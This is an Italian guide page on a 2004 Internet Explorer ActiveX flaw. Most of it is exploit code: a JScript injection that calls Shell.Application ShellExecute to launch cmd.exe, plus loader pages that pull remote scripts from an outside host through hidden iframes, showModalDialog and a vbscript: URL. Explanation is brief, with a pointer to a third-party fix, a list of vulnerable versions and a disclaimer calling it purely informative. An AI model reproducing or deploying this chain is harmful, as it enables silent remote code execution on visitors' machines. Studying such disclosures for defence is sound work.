|
Torna a guide
VULNERABILITA' EXPLORER
Allora, di seguito analizzerò questa tanto blasonata
vulnerabilità con tanto di esempio pratico a riprova della falla.
Iniziamo col prendere in considerazione il codice che ci permette di
mandare in esecuzione arbitrialmente, tramite il noto browser Explorer,
cmd.exe (è solo un esempio, è possibile mettere in avvio qualunque
applicazione).
Di seguito ci caleremo nelle vesti di un ipotetico lamer che vuole
eseguire codice arbitrario sul nostro PC.
Ecco il codice malevolo, ossia quello che permette di mandare in run
qualsiasi applicazione sottoforma di ActiveX Control (in questo caso
manderemo in run cmd.exe):
function injectIt() {
document.frames[0].document.body.insertAdjacentHTML('afterBegin','injected<script
language="JScript" DEFER>var obj=new ActiveXObject("Shell.Application");obj.ShellExecute("cmd.exe","/c
pause");</script>');
}
document.write('<iframe src="shell:WINDOWS\\Web\\TIP.HTM"></iframe>');
setTimeout("injectIt()", 1000);
Notiamo che, tramite ShellExecute("cmd.exe","/c
pause");, questo JScript manda in esecuzione nientepocodimeno che
cmd.exe arbitrialmente sulla nostra macchina...
Ora, l'ipotetico lamer, creerà uno
script che linkerà all'exploit:
function getRealShell() {
myiframe.document.write("<SCRIPT SRC='http://www.pincopallino.it/shellscript.js'><\/SCRIPT>");
}
document.write("<IFRAME ID=myiframe SRC='about:blank' WIDTH=200
HEIGHT=200></IFRAME>");
setTimeout("getRealShell()",100);
Questo fa aprire un popup piccolissimo che manda in esecuzione l'exploit: myiframe.document.write("<SCRIPT
SRC='http://www.pincopallino.it/shellscript.js
Ecco che abbiamo un richiamo all'exploit.
Ora l'anello mancante è la pagina html che ci riporti al linker
dell'exploit, no problem:
<html>
<body>
<script language="Javascript">
function InjectedDuringRedirection(){
showModalDialog('md.htm',window,"dialogTop:-10000\;dialogLeft:-10000\;dialogHeight:1\;
dialogWidth:1\;").location=
"vbscript:\"<SCRIPT SRC='http://www.pincopallino.it/shellscript_loader.js'><\/script>\"";
}
</script>
<script language="javascript">
setTimeout("myiframe.execScript(InjectedDuringRedirection.toString())",100);
setTimeout("myiframe.execScript('InjectedDuringRedirection()')
",101);
document.write('<IFRAME ID=myiframe NAME=myiframe SRC="redir.jsp"
style=display:none;></IFRAME>');
</script>
</body>
</html>
Ed ecco che si ha la pagina html che permette l'esecuzione di codice
malevolo sul nostro PC.
Soluzione: Microsoft attualmente non ha rilasciato patch ufficiali,
pertanto vi rimando al fix creato da k-otik.com: http://www.k-otik.com/news/03072004IEfix.reg
Per un esempio pratico della criticità: http://www.k-otik.com/news/IE02072004.php
Questa vulnerabilità è resa possibile in quanto Explorer non attua un
corretto controllo sui controlli ActiveX.
Tutto quanto detto è A PURO SCOPO INFORMATIVO !
Sono vulnerabili:
Microsoft Internet Explorer 5.01 SP3
Microsoft Internet Explorer 5.01 SP4
Microsoft Internet Explorer 6.0
Microsoft Internet Explorer 6.0 SP1
Microsoft Data Access Components 2.5
Microsoft Data Access Components 2.6
Microsoft Data Access Components 2.7
Microsoft Data Access Components 2.8
|